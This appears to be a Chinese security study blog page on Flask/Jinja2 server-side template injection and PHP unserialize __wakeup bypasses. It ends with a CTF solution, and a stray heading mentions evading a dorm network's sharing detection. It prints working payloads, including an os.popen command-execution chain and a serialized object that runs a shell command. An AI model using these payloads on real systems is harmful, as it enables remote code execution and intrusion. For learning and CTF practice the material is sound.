绕过某大学宿舍设备共享检测
某些*#@三方运营商一再对宿舍网络进行各种限制, 如何反制?
某些*#@三方运营商一再对宿舍网络进行各种限制, 如何反制?
在SSTI
中,
往往通过寻找基类->查找子类->执行危险函数
来完成攻击,
需要了解一些Python
类的特殊属性/方法/函数.
__class__
: 对象的属性, 返回对象所属的类.
__mro__
: 类的属性,
返回一个含有所有父类(包括间接父类和本类)的元组.
__base__
: 类的属性, 返回类的直接父类.
__bases__
: 类的属性, 返回类的所有直接父类.
跟__base__
的区别在于, 如果子类是多继承,
__base__
只会返回一个, 而__bases__
返回所有.
__base__
相当于__bases__[0]
.
__globals__
: 函数的属性,
用于获取某个函数所在处位置的全局命名空间的变量, 当函数位于另一个模块时,
可以获取另一个模块的全局命名空间的变量.
__subclassess__()
: 类的方法,
返回类的直接子类.
__dict__
: 对象的属性, 一个字典,
储存对象的所有属性.
__init__()
: 类的方法, 用于初始化对象.
在SSTI
中用它作为跳板拿到__globals__
属性.
如果声明类时未重载__init__()
,
此时的__init__
没有__globals__
属性.
未重载的
__init__
:<slot wrapper '__init__' of 'object' objects>
重载过的
__init__
:<function A.__init__ at 0x00000257D3B0D1F0>
__import__
:
这个函数在built-in
命名空间里,
效果等同于import
语句, 返回值是一个模块对象.
Flask
是一个流行的轻量级Web框架,
基于Python
.
1 | from flask import Flask |
1 | from flask import Flask, render_template_string |
提交一个name
参数就可以看到回显了, 但是这个没法注入,
表达式已经执行过了.
这样就可以注入
1 | from flask import Flask, render_template_string, request |
表达式能被执行即可注入.
就用上面的代码作为服务端.
object
1 | ''.__class__.__mro__[1] #把空字符串换成空字典和空列表也行, 下同 |
主要就是利用__base__
和__mro__
这样的属性找到基类.
__init__()
方法的子类用BurpSuite
扫一下__subclasses__()
返回的所有类,
根据回显判断__init__()
是否被重载过,
也可以根据名字选择已知的某些特殊的类,
比如warnings.catch_warnings
,
这个类中含有os
模块无需导入.
比如这个索引为106的类就重载了__init__()
,
接着访问函数的__globals__
属性,
通过keys()
查看有哪些变量 1
''.__class__.__mro__[1].__subclasses__()[106].__init__.__globals__.keys()
可以看到, 有__builtins__
,
于是可以通过__builtins__
里的__import__()
加载想要的模块,
比如os
.
1 | ''.__class__.__mro__[1].__subclasses__()[106].__init__.__globals__["__builtins__"]["__import__"]("os").popen("dir").read() |
也可以用__builtins__
里的eval()
等函数实现RCE
或者文件读取写入等功能.
在template
中使用变量时,
可以用[]
取代.
的功能,
同理也可以用.
取代[]
的功能.
可以用这个来绕过.
或者[]
的WAF
.
1 | {{ foo.bar }} |
这两行代码可以实现相同的功能, 但有一些细微的区别
foo.bar
:
getattr(foo, 'bar')
foo.__getitem__('bar')
foo['bar'
]:
foo.__getitem__('bar')
getattr(foo, 'bar')
未完待续
unserialize()
反序列化产生一个对象时,
会检查对象是否存在一个__wakeup()
方法,
如果有则先调用它进行反序列化前的准备工作, 例如重新建立数据库连接,
或执行其它初始化操作.
官方示例:
1 | <?php |
当被反序列化的字符串中表示的对象属性个数大于对象实际的个数时,
__wakeup()
将被跳过执行.
实验:
1 | <?php //test.php |
改一下代码 1
2
3
4
5
6
7
8
9
10
11<?php //test.php
class ABC
{
public $a = 1;
public $b = 2;
function __wakeup(){
echo "Wake Up!";
}
}
unserialize($_GET["str"]);
?>
把刚才的O:3:"ABC":2:{s:1:"a";i:1;s:1:"b";i:2;}
带入参数str
中请求
反序列化触发了__wakeup()
方法,
绕过只需要对属性个数进行修改
修改前:O:3:"ABC":2:{s:1:"a";i:1;s:1:"b";i:2;}
修改后:O:3:"ABC":3:{s:1:"a";i:1;s:1:"b";i:2;}
也就是从2个属性改成3个属性.
更改属性数量导致与实际数量不符会导致反序列化失败, 但是
unserialize()
会将遇到错误之前能填充的属性都填充上, 遇到错误之后再执行__destruct()
将构造到一半的对象析构, 并返回一个false
. 所以在__destruct()
方法里可以正常访问已经被填充的属性.
接下来是一道CTF题
1 | <?php |
考点就是绕过__wakeup()
, 首先生成Payload
1 | <?php |
访问一下, 查看data.bin
文件
仔细看的话可以发现,
*
的两边都各有一个\x00
字节,
但是这在文本上是显示不出来的,
这也是为什么采用写入文件再查看这种麻烦的方式而不采用echo
直接浏览器查看.
所以构造Payload
的时候要采用%00
把\x00
字节补上去.
所以Payload
就是:
O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
因为cat
被过滤了, 所以用tac
就可以了
最终Payload
:
O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}